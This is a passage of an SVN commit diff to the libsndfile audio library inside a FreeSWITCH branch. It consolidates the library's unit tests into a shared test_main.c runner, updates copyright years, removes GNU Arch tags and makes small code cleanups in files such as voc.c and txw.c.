@@ -76,7 +58,7 @@
 {	[+ (get "name") +] orig [4], first [4], second [4] ;
 	int k ;
 
-	printf ("    %-24s : ", "test_endswap_[+ (get "name") +]") ;
+	printf ("    %-40s : ", "test_endswap_[+ (get "name") +]") ;
 	fflush (stdout) ;
 
 	for (k = 0 ; k < ARRAY_LEN (orig) ; k++)
@@ -124,12 +106,12 @@
 +]
 
 
-[+ COMMENT
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: fd8887e8-8202-4f30-a419-0cf01a0e799b
-*/
+void
+test_endswap (void)
+{
+[+ FOR int_type
++]	test_endswap_[+ (get "name") +] () ;
+[+ ENDFOR int_type
 +]
+} /* test_endswap */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/test_file_io.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_file_io.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_file_io.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -30,6 +30,8 @@
 
 #include "common.h"
 
+#include "test_main.h"
+
 static void make_data (int *data, int len, int seed) ;
 
 static void file_open_test (const char *filename) ;
@@ -46,19 +48,6 @@
 
 
 
-int
-main (void)
-{	const char *filename = "file_io.dat" ;
-
-	file_open_test	(filename) ;
-	file_read_write_test	(filename) ;
-	file_truncate_test (filename) ;
-
-	unlink (filename) ;
-
-	return 0 ;
-} /* main */
-
 /*==============================================================================
 ** Actual test functions.
 */
@@ -68,8 +57,7 @@
 {	SF_PRIVATE sf_data, *psf ;
 	int		error ;
 
-	printf ("    %-24s : ", "file_open_test") ;
-	fflush (stdout) ;
+	print_test_name ("Testing file open") ;
 
 	memset (&sf_data, 0, sizeof (sf_data)) ;
 	psf = &sf_data ;
@@ -80,7 +68,7 @@
 		exit (1) ;
 		} ;
 
-	strncpy (psf->filename, filename, sizeof (psf->filename)) ;
+	snprintf (psf->filename, sizeof (psf->filename), "%s", filename) ;
 
 	/* Test that open for read fails if the file doesn't exist. */
 	error = psf_fopen (psf, psf->filename, SFM_READ) ;
@@ -129,12 +117,11 @@
 	** write, test that psf_get_filelen() returns the new length.
 	*/
 
-	printf ("    %-24s : ", "file_write_test") ;
-	fflush (stdout) ;
+	print_test_name ("Testing file write") ;
 
 	memset (&sf_data, 0, sizeof (sf_data)) ;
 	psf = &sf_data ;
-	strncpy (psf->filename, filename, sizeof (psf->filename)) ;
+	snprintf (psf->filename, sizeof (psf->filename), "%s", filename) ;
 
 	/* Test file open in write mode. */
 	psf->mode = SFM_WRITE ;
@@ -166,8 +153,7 @@
 	** that the data is correct.
 	*/
 
-	printf ("    %-24s : ", "file_read_test") ;
-	fflush (stdout) ;
+	print_test_name ("Testing file read") ;
 
 	/* Test file open in write mode. */
 	psf->mode = SFM_READ ;
@@ -191,8 +177,7 @@
 	** go back and check that all three blocks are correct.
 	*/
 
-	printf ("    %-24s : ", "file_seek_test") ;
-	fflush (stdout) ;
+	print_test_name ("Testing file seek") ;
 
 	/* Test file open in read/write mode. */
 	psf->mode = SFM_RDWR ;
@@ -230,8 +215,7 @@
 	** the file will actually be a seek to the value given by psf->fileoffset.
 	*/
 
-	printf ("    %-24s : ", "file_offset_test") ;
-	fflush (stdout) ;
+	print_test_name ("Testing file offset") ;
 
 	/* Test file open in read/write mode. */
 	psf->mode = SFM_RDWR ;
@@ -287,14 +271,13 @@
 	** write, test that psf_get_filelen() returns the new length.
 	*/
 
-	printf ("    %-24s : ", "file_truncate_test") ;
-	fflush (stdout) ;
+	print_test_name ("Testing file truncate") ;
 
 	memset (&sf_data, 0, sizeof (sf_data)) ;
 	memset (buffer, 0xEE, sizeof (buffer)) ;
 
 	psf = &sf_data ;
-	strncpy (psf->filename, filename, sizeof (psf->filename)) ;
+	snprintf (psf->filename, sizeof (psf->filename), "%s", filename) ;
 
 	/*
 	** Open the file write mode, write 0xEE data and then extend the file
@@ -439,10 +422,15 @@
 		data [k] = rand () ;
 
 } /* make_data */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 0a21fb93-78dd-4f72-8338-4bca9e77b8c8
-*/
+
+void
+test_file_io (void)
+{	const char *filename = "file_io.dat" ;
+
+	file_open_test	(filename) ;
+	file_read_write_test	(filename) ;
+	file_truncate_test (filename) ;
+
+	unlink (filename) ;
+} /* main */
+

Copied: freeswitch/branches/seven/libs/libsndfile/src/test_float.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/test_float.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_float.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_float.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,104 @@
+/*
+** Copyright (C) 2006-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdarg.h>
+#include <errno.h>
+#include <math.h>
+
+#include "common.h"
+#include "test_main.h"
+
+void
+test_float_convert (void)
+{	static float data [] =
+	{	0.0, 1.0, -1.0, 1.0 * M_PI, -1.0 * M_PI,
+		1e9, -1e9, 1e-9, -1e-9, 1e-10, -1e-10,
+		1e-19, -1e-19, 1e19, -1e19, 1e-20, -1e-20,
+		} ;
+
+	int k ;
+
+	print_test_name (__func__) ;
+
+	for (k = 0 ; k < ARRAY_LEN (data) ; k++)
+	{	unsigned char bytes [4] ;
+		float test ;
+
+		float32_le_write (data [k], bytes) ;
+		test = float32_le_read (bytes) ;
+
+		if (fabs (data [k] - test) > 1e-20)
+		{	printf ("\n\nLine %d : Test %d, little endian error %.15g -> %.15g.\n\n", __LINE__, k, data [k], test ) ;
+			exit (1) ;
+			} ;
+
+		float32_be_write (data [k], bytes) ;
+		test = float32_be_read (bytes) ;
+
+		if (fabs (data [k] - test) > 1e-20)
+		{	printf ("\n\nLine %d : Test %d, big endian error %.15g -> %.15g.\n\n", __LINE__, k, data [k], test) ;
+			exit (1) ;
+			} ;
+
+		} ;
+
+	puts ("ok") ;
+} /* test_float_convert */
+
+void
+test_double_convert (void)
+{	static double data [] =
+	{	0.0, 1.0, -1.0, 1.0 * M_PI, -1.0 * M_PI,
+		1e9, -1e9, 1e-9, -1e-9, 1e-10, -1e-10,
+		1e-19, -1e-19, 1e19, -1e19, 1e-20, -1e-20,
+		} ;
+
+	int k ;
+
+	print_test_name (__func__) ;
+
+	for (k = 0 ; k < ARRAY_LEN (data) ; k++)
+	{	unsigned char bytes [8] ;
+		double test ;
+
+		double64_le_write (data [k], bytes) ;
+		test = double64_le_read (bytes) ;
+
+		if (fabs (data [k] - test) > 1e-20)
+		{	printf ("\n\nLine %d : Test %d, little endian error %.15g -> %.15g.\n\n", __LINE__, k, data [k], test ) ;
+			exit (1) ;
+			} ;
+
+		double64_be_write (data [k], bytes) ;
+		test = double64_be_read (bytes) ;
+
+		if (fabs (data [k] - test) > 1e-20)
+		{	printf ("\n\nLine %d : Test %d, big endian error %.15g -> %.15g.\n\n", __LINE__, k, data [k], test) ;
+			exit (1) ;
+			} ;
+
+		} ;
+
+	puts ("ok") ;
+} /* test_double_convert */
+

Copied: freeswitch/branches/seven/libs/libsndfile/src/test_ima_oki_adpcm.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/test_ima_oki_adpcm.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_ima_oki_adpcm.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_ima_oki_adpcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,155 @@
+/*
+** Copyright (c) 2007 <robs@users.sourceforge.net>
+** Copyright (C) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This library is free software; you can redistribute it and/or modify it
+** under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or (at
+** your option) any later version.
+**
+** This library is distributed in the hope that it will be useful, but
+** WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser
+** General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this library.  If not, write to the Free Software Foundation,
+** Fifth Floor, 51 Franklin Street, Boston, MA 02111-1301, USA.
+*/
+
+#include <stdio.h>
+
+#include "test_main.h"
+
+#include "ima_oki_adpcm.c"
+
+static const unsigned char test_codes [] =
+{	0x08, 0x08, 0x04, 0x7f, 0x72, 0xf7, 0x9f, 0x7c, 0xd7, 0xbc, 0x7a, 0xa7, 0xb8,
+	0x4b, 0x0b, 0x38, 0xf6, 0x9d, 0x7a, 0xd7, 0xbc, 0x7a, 0xd7, 0xa8, 0x6c, 0x81,
+	0x98, 0xe4, 0x0e, 0x7a, 0xd7, 0x9e, 0x7b, 0xc7, 0xab, 0x7a, 0x85, 0xc0, 0xb3,
+	0x8f, 0x58, 0xd7, 0xad, 0x7a, 0xd7, 0xad, 0x7a, 0x87, 0xd0, 0x2b, 0x0e, 0x48,
+	0xd7, 0xad, 0x78, 0xf7, 0xbc, 0x7a, 0xb7, 0xa8, 0x4b, 0x88, 0x18, 0xd5, 0x8d,
+	0x6a, 0xa4, 0x98, 0x08, 0x00, 0x80, 0x88,
+} ;
+
+static const short test_pcm [] =
+{	32, 0, 32, 0, 32, 320, 880, -336, 2304, 4192, -992, 10128, 5360, -16352,
+	30208, 2272, -31872, 14688, -7040, -32432, 14128, -1392, -15488, 22960,
+	1232, -1584, 21488, -240, 2576, -15360, 960, -1152, -30032, 10320, 1008,
+	-30032, 16528, 1008, -30032, 16528, -5200, -30592, 15968, 448, -30592,
+	15968, 448, -2368, 30960, 3024, -80, 8384, 704, -1616, -29168, -1232, 1872,
+	-32768, 13792, -1728, -32768, 13792, 4480, -32192, 14368, -7360, -32752,
+	13808, -1712, -21456, 16992, 1472, -1344, 26848, -1088, 2016, -17728, 208,
+	-2112, -32768, 1376, -1728, -32768, 13792, -1728, -32768, 13792, -1728,
+	-32768, 13792, -1728, -32768, 13792, -1728, -4544, 32767, -1377, 1727,
+	15823, -2113, 207, -27345, 591, -2513, -32768, 13792, -1728, -32768, 13792,
+	10688, -31632, 14928, -6800, -32192, 14368, -1152, -20896, 17552, 2032,
+	-784, 22288, 560, -2256, -4816, 2176, 64, -21120, 9920, 6816, -24224, 16128,
+	608, -13488, 9584, 272, -2544, 16, -2304, -192, 1728, -16, 1568, 128, -1184,
+} ;
+
+
+static void
+test_oki_adpcm (void)
+{
+	IMA_OKI_ADPCM adpcm ;
+	unsigned char code ;
+	int i, j ;
+
+	print_test_name ("Testing ima/oki encoder") ;
+
+	ima_oki_adpcm_init (&adpcm, IMA_OKI_ADPCM_TYPE_OKI) ;
+	for (i = 0 ; i < ARRAY_LEN (test_codes) ; i++)
+		for (j = 0, code = test_codes [i] ; j < 2 ; j++, code <<= 4)
+			if (adpcm_decode (&adpcm, code >> 4) != test_pcm [2 * i + j])
+			{	printf ("\n\nFail at i = %d, j = %d.\n\n", i, j) ;
+				exit (1) ;
+				} ;
+
+	puts ("ok") ;
+
+	print_test_name ("Testing ima/oki decoder") ;
+
+	ima_oki_adpcm_init (&adpcm, IMA_OKI_ADPCM_TYPE_OKI) ;
+	for (i = 0 ; i < ARRAY_LEN (test_pcm) - 1 ; i += j)
+	{	code = adpcm_encode (&adpcm, test_pcm [i]) ;
+		code = (code << 4) | adpcm_encode (&adpcm, test_pcm [i + 1]) ;
+		if (code != test_codes [i / 2])
+			{	printf ("\n\nFail at i = %d, %d should be %d\n\n", i, code, test_codes [i / 2]) ;
+				exit (1) ;
+				} ;
+		} ;
+
+	puts ("ok") ;
+} /* test_oki_adpcm */
+
+static void
+test_oki_adpcm_block (void)
+{
+	IMA_OKI_ADPCM adpcm ;
+	int k ;
+
+	if (ARRAY_LEN (adpcm.pcm) < ARRAY_LEN (test_pcm))
+	{	printf ("\n\nLine %d : ARRAY_LEN (adpcm->pcm) > ARRAY_LEN (test_pcm) (%d > %d).\n\n", __LINE__, ARRAY_LEN (adpcm.pcm), ARRAY_LEN (test_pcm)) ;
+		exit (1) ;
+		} ;
+
+	if (ARRAY_LEN (adpcm.codes) < ARRAY_LEN (test_codes))
+	{	printf ("\n\nLine %d : ARRAY_LEN (adcodes->codes) > ARRAY_LEN (test_codes).n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	print_test_name ("Testing ima/oki block encoder") ;
+
+	ima_oki_adpcm_init (&adpcm, IMA_OKI_ADPCM_TYPE_OKI) ;
+
+	memcpy (adpcm.pcm, test_pcm, sizeof (adpcm.pcm [0]) * ARRAY_LEN (test_pcm)) ;
+	adpcm.pcm_count = ARRAY_LEN (test_pcm) ;
+	adpcm.code_count = 13 ;
+
+	ima_oki_adpcm_encode_block (&adpcm) ;
+
+	if (adpcm.code_count * 2 != ARRAY_LEN (test_pcm))
+	{	printf ("\n\nLine %d : %d * 2 != %d\n\n", __LINE__, adpcm.code_count * 2, ARRAY_LEN (test_pcm)) ;
+		exit (1) ;
+		} ;
+
+	for (k = 0 ; k < ARRAY_LEN (test_codes) ; k++)
+		if (adpcm.codes [k] != test_codes [k])
+		{	printf ("\n\nLine %d : Fail at k = %d, %d should be %d\n\n", __LINE__, k, adpcm.codes [k], test_codes [k]) ;
+			exit (1) ;
+			} ;
+
+	puts ("ok") ;
+
+	print_test_name ("Testing ima/oki block decoder") ;
+
+	ima_oki_adpcm_init (&adpcm, IMA_OKI_ADPCM_TYPE_OKI) ;
+
+	memcpy (adpcm.codes, test_codes, sizeof (adpcm.codes [0]) * ARRAY_LEN (test_codes)) ;
+	adpcm.code_count = ARRAY_LEN (test_codes) ;
+	adpcm.pcm_count = 13 ;
+
+	ima_oki_adpcm_decode_block (&adpcm) ;
+
+	if (adpcm.pcm_count != 2 * ARRAY_LEN (test_codes))
+	{	printf ("\n\nLine %d : %d * 2 != %d\n\n", __LINE__, adpcm.pcm_count, 2 * ARRAY_LEN (test_codes)) ;
+		exit (1) ;
+		} ;
+
+	for (k = 0 ; k < ARRAY_LEN (test_pcm) ; k++)
+		if (adpcm.pcm [k] != test_pcm [k])
+		{	printf ("\n\nLine %d : Fail at i = %d, %d should be %d.\n\n", __LINE__, k, adpcm.pcm [k], test_pcm [k]) ;
+			exit (1) ;
+			} ;
+
+	puts ("ok") ;
+} /* test_oki_adpcm_block */
+
+void
+test_ima_oki_adpcm (void)
+{
+	test_oki_adpcm () ;
+	test_oki_adpcm_block () ;
+} /* main */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/test_log_printf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_log_printf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_log_printf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2003-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2003-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -16,67 +16,76 @@
 ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
 
+#include "sfconfig.h"
+
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <stdarg.h>
 #include <errno.h>
 
-#include "sfconfig.h"
+#include "common.h"
 
-/* 
-** This is a bit rough, but it is the nicest way to do it.
-*/
-#define PSF_LOG_PRINTF_ONLY
-#include "common.c"
+#include "test_main.h"
 
-
 #define	CMP_0_ARGS(line,err,fmt)	\
 	{	psf->logindex = 0 ;			\
-		LSF_SNPRINTF (buffer, sizeof (buffer), (fmt)) ;	\
+		snprintf (buffer, sizeof (buffer), (fmt)) ;	\
 		psf_log_printf (psf, (fmt)) ;				\
 		err += compare_strings_or_die (line, fmt, buffer, psf->logbuffer) ;	\
 		}
 
 #define	CMP_2_ARGS(line,err,fmt,a)	\
 	{	psf->logindex = 0 ;			\
-		LSF_SNPRINTF (buffer, sizeof (buffer), (fmt), (a), (a)) ;	\
+		snprintf (buffer, sizeof (buffer), (fmt), (a), (a)) ;	\
 		psf_log_printf (psf, (fmt), (a), (a)) ;					\
 		err += compare_strings_or_die (line, fmt, buffer, psf->logbuffer) ;	\
 		}
 
 #define	CMP_4_ARGS(line,err,fmt,a)	\
 	{	psf->logindex = 0 ;			\
-		LSF_SNPRINTF (buffer, sizeof (buffer), (fmt), (a), (a), (a), (a)) ;	\
+		snprintf (buffer, sizeof (buffer), (fmt), (a), (a), (a), (a)) ;	\
 		psf_log_printf (psf, (fmt), (a), (a), (a), (a)) ;				\
 		err += compare_strings_or_die (line, fmt, buffer, psf->logbuffer) ;	\
 		}
 
 #define	CMP_5_ARGS(line,err,fmt,a)	\
 	{	psf->logindex = 0 ;			\
-		LSF_SNPRINTF (buffer, sizeof (buffer), (fmt), (a), (a), (a), (a), (a)) ;	\
+		snprintf (buffer, sizeof (buffer), (fmt), (a), (a), (a), (a), (a)) ;	\
 		psf_log_printf (psf, (fmt), (a), (a), (a), (a), (a)) ;					\
 		err += compare_strings_or_die (line, fmt, buffer, psf->logbuffer) ;		\
 		}
 
 #define	CMP_6_ARGS(line,err,fmt,a)	\
 	{	psf->logindex = 0 ;			\
-		LSF_SNPRINTF (buffer, sizeof (buffer), (fmt), (a), (a), (a), (a), (a), (a)) ;	\
+		snprintf (buffer, sizeof (buffer), (fmt), (a), (a), (a), (a), (a), (a)) ;	\
 		psf_log_printf (psf, (fmt), (a), (a), (a), (a), (a), (a)) ;					\
 		err += compare_strings_or_die (line, fmt, buffer, psf->logbuffer) ;			\
 		}
 
-static int compare_strings_or_die (int linenum, const char *fmt, const char* s1, const char* s3) ;
+static int
+compare_strings_or_die (int linenum, const char *fmt, const char* s1, const char* s2)
+{	int errors = 0 ;
+/*-puts (s1) ;puts (s2) ;-*/
 
-int
-main (void)
+	if (strcmp (s1, s2) != 0)
+	{	printf ("\n\nLine %d: string compare mismatch:\n\t", linenum) ;
+		printf ("\"%s\"\n", fmt) ;
+		printf ("\t\"%s\"\n\t\"%s\"\n", s1, s2) ;
+		errors ++ ;
+		} ;
+
+	return errors ;
+} /* compare_strings_or_die */
+
+void
+test_log_printf (void)
 {	static char buffer [2048] ;
 	SF_PRIVATE	sf_private, *psf ;
 	int			k, errors = 0 ;
 	int			int_values [] = { 0, 1, 12, 123, 1234, 123456, -1, -12, -123, -1234, -123456 } ;
 
-	printf ("    %-24s : ", "psf_log_printf_test") ;
-	fflush (stdout) ;
+	print_test_name ("Testing psf_log_printf") ;
 
 	psf = &sf_private ;
 	memset (psf, 0, sizeof (sf_private)) ;
@@ -110,29 +119,5 @@
 		} ;
 
 	puts ("ok") ;
+} /* test_log_printf */
 
-	return 0 ;
-} /* main */
-
-static int
-compare_strings_or_die (int linenum, const char *fmt, const char* s1, const char* s2)
-{	int errors = 0 ;
-/*-puts (s1) ;puts (s2) ;-*/
-
-	if (strcmp (s1, s2) != 0)
-	{	printf ("\n\nLine %d: string compare mismatch:\n\t", linenum) ;
-		printf ("\"%s\"\n", fmt) ;
-		printf ("\t\"%s\"\n\t\"%s\"\n", s1, s2) ;
-		errors ++ ;
-		} ;
-
-	return errors ;
-} /* compare_strings_or_die */
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 45147310-868b-400a-97e8-cc0a572a6270
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/src/test_main.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/test_main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,45 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdarg.h>
+#include <errno.h>
+
+#include "test_main.h"
+
+int
+main (void)
+{
+	test_conversions () ;
+	test_endswap () ;
+	test_float_convert () ;
+	test_double_convert () ;
+
+	test_log_printf () ;
+	test_file_io () ;
+
+	test_audio_detect () ;
+	test_ima_oki_adpcm () ;
+
+	return 0 ;
+} /* main */
+

Copied: freeswitch/branches/seven/libs/libsndfile/src/test_main.h (from rev 14471, freeswitch/trunk/libs/libsndfile/src/test_main.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_main.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_main.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+static inline void
+print_test_name (const char * name)
+{	printf ("    %-40s : ", name) ;
+	fflush (stdout) ;
+} /* print_test_name */
+
+
+
+void test_conversions (void) ;
+void test_endswap (void) ;
+void test_log_printf (void) ;
+void test_file_io (void) ;
+
+void test_float_convert (void) ;
+void test_double_convert (void) ;
+
+void test_audio_detect (void) ;
+void test_ima_oki_adpcm (void) ;

Modified: freeswitch/branches/seven/libs/libsndfile/src/txw.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/txw.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/txw.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -40,7 +40,7 @@
 txw_open	(SF_PRIVATE *psf)
 {	if (psf)
 		return SFE_UNIMPLEMENTED ;
-	return (psf && 0) ;
+	return 0 ;
 } /* txw_open */
 
 #else
@@ -125,7 +125,7 @@
 static int
 txw_read_header	(SF_PRIVATE *psf)
 {	TXW_HEADER txwh ;
-	char	*strptr ;
+	const char	*strptr ;
 
 	memset (&txwh, 0, sizeof (txwh)) ;
 	memset (psf->u.cbuf, 0, sizeof (psf->u.cbuf)) ;
@@ -370,10 +370,3 @@
 } /* txw_seek */
 
 #endif
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 4d0ba7af-b1c5-46b4-a900-7c6f59fd9a89
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/ulaw.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/ulaw.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/ulaw.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -16,8 +16,11 @@
 ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
 
+#include	"sfconfig.h"
+
+#include	<math.h>
+
 #include	"sndfile.h"
-#include	"float_cast.h"
 #include	"common.h"
 
 static sf_count_t ulaw_read_ulaw2s (SF_PRIVATE *psf, short *ptr, sf_count_t len) ;
@@ -1038,10 +1041,3 @@
 	return total ;
 } /* ulaw_write_d2ulaw */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 655cc790-f058-45e8-89c9-86967cccc37e
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/voc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/voc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/voc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -112,10 +112,10 @@
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-	{	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_VOC)
+	{	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_VOC)
 			return	SFE_BAD_OPEN_FORMAT ;
 
 		psf->endian = SF_ENDIAN_LITTLE ;
@@ -199,20 +199,26 @@
 	psf->endian = SF_ENDIAN_LITTLE ;
 
 	while (1)
-	{	offset += psf_binheader_readf (psf, "1", &block_type) ;
+	{	int size ;
+		short count ;
 
+		block_type = 0 ;
+		offset += psf_binheader_readf (psf, "1", &block_type) ;
+
 		switch (block_type)
 		{	case VOC_ASCII :
-					{	int size ;
+					offset += psf_binheader_readf (psf, "e3", &size) ;
 
-						offset += psf_binheader_readf (psf, "e3", &size) ;
+					psf_log_printf (psf, " ASCII : %d\n", size) ;
 
-						psf_log_printf (psf, " ASCII : %d\n", size) ;
+					offset += psf_binheader_readf (psf, "b", psf->header, size) ;
+					psf->header [size] = 0 ;
+					psf_log_printf (psf, "  text : %s\n", psf->header) ;
+					continue ;
 
-						offset += psf_binheader_readf (psf, "b", psf->header, size) ;
-						psf->header [size] = 0 ;
-						psf_log_printf (psf, "  text : %s\n", psf->header) ;
-						} ;
+			case VOC_REPEAT :
+					offset += psf_binheader_readf (psf, "e32", &size, &count) ;
+					psf_log_printf (psf, " Repeat : %d\n", count) ;
 					continue ;
 
 			case VOC_SOUND_DATA :
@@ -242,7 +248,7 @@
 			psf_log_printf (psf, "offset: %d    size: %d    sum: %d    filelength: %D\n", offset, size, offset + size, psf->filelength) ;
 			return SFE_VOC_BAD_SECTIONS ;
 			}
-		else if (offset + size - 1 < psf->filelength)
+		else if (psf->filelength - offset - size > 4)
 		{	psf_log_printf (psf, "Seems to be a multi-segment file (#1).\n") ;
 			psf_log_printf (psf, "offset: %d    size: %d    sum: %d    filelength: %D\n", offset, size, offset + size, psf->filelength) ;
 			return SFE_VOC_BAD_SECTIONS ;
@@ -422,7 +428,7 @@
 		psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 	/* Reset the current header length to zero. */
 	psf->header [0] = 0 ;
 	psf->headindex = 0 ;
@@ -869,10 +875,3 @@
         Data is stored left, right
 
 ------------------------------------------------------------------------*/
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 40a50167-a81c-463a-9e1d-3282ff84e09d
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/vox_adpcm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/vox_adpcm.c	2009-08-09 05:55:48 UTC (rev 14471)
